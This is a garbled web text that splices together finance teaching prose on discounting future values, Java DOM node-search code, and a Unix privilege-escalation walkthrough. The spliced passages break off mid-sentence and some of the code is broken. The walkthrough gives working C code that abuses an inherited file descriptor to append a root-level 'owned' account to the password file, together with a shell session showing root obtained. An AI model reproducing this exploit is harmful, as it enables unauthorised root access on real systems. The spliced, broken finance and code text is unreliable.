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Discounting to present value is the reverse process of calculating future values In calculating future values, we are going forward in time In discounting, we go backward in time, normally from the future to the present Suppose Ardath Bigbucks, a wealthy woman you know, asks you for a business loan She promises to repay you $100,000 in one year How much would you be willing to loan her If you are willing to loan her $100,000, then you would have no profit from the loan when she repays $100,000 in one year If your motivations are business and not personal, then you would loan her somewhat less than $100,000 let s say, for the moment,

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We now shell out of vi by executing :!sh At this point our shell has inherited access to an open file descriptor We execute our exploit and add a 0 UID account into the password file:

Node theNode = getElementByAttributeValue(documentdocumentElement, "myattr", "myattrvalue");

[dinky]$ nohup /chpass & [1] 24619 $ sending output to nohupout [1] + Done nohup /chpass [dinky]$ exit Press any key to continue [: to enter more ex commands]: /etc/pwF26119: 6 lines, 117 characters [dinky]$ su owned [dinky]# id uid=0(owned) gid=0(wheel) groups=0(wheel)

This occurs because the interest rate is the rate of curvature of the curve Over short spans of time, the differences in value from different interest rates are not very material, but over long spans of time small differences in the degree of curvature will translate to enormous differences in value

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This example can be enhanced to return a list of nodes that have a given attribute value by combining the logic from getElementByAttributeValue() and the depth-first processing code from earlier in this chapter The resulting function, getElementsByAttributeValue(), can be written in Java as

Once we su to the owned account, we obtain root access This entire process only took a few lines of c code:

int main () { FILE *f; int count; f = fdopen (FDTOUSE, "a"); for (count = 0; count != 30000; count++) fprintf (f, "owned::0:0::0:0:OWNED,,,:/tmp:/bin/bash\n"); exit(0); }

Vector getElementsByAttributeValue(Node n, DOMString attName, DOMString attVal) { Vector theNodes = new Vector(); addNodesToList(n, theNodes, attName, attVal); return theNodes; } addNodesToList(Node n, Vector v, DOMString attName, DOMString attVal) { // if this node matches the given attribute name and value, // then add it to the list of nodes if (ngetNodeType() == NodeELEMENT_NODE) { if ((Element)n)getAttribute(attName)equals(attVal)) vadd(n); } // now recursively process all of the node's child nodes for (Node c = nfirstChild(); c != null; c = cnextSibling()) { addNodesToList (c, v, attName, attVal); } }

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$90,000, which means you expect to make $10,000 interest income in one year How would your answer change if Johnny Middlebucks asks for the same deal Well, you know that Johnny doesn t have the same killer portfolio that Ardath has He is a riskier loan To compensate you for the risk, you would want a higher expected return, which means you want to make a higher expected profit on the loan So perhaps you might be willing to lend him $85,000, and expect to make $15,000 in interest income after one year You need the extra $5000 with Johnny compared to Ardath because there s a better chance that he ll come back to you after one year with a sob story instead of the cash The point of these scenarios is that $100 tomorrow is worth less than $100 today How much less We will develop a precise answer in the equation below Again, it s not important that you understand the mechanics of the algebra, since the valuation spreadsheets will do that for you But it is more important to understand the concepts and the intuition, in order to think about values clearly and correctly If we divide both sides of the above, Time Value of Money, equation by (1 r)n, and switch the left and right hand sides of the equation, we get: PV FV (1 r)n

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The addNodesToList() method performs almost the same function as the original getElementByAttributeValue() method, except that instead of simply returning the first matching node, it adds the node to a list and keeps going

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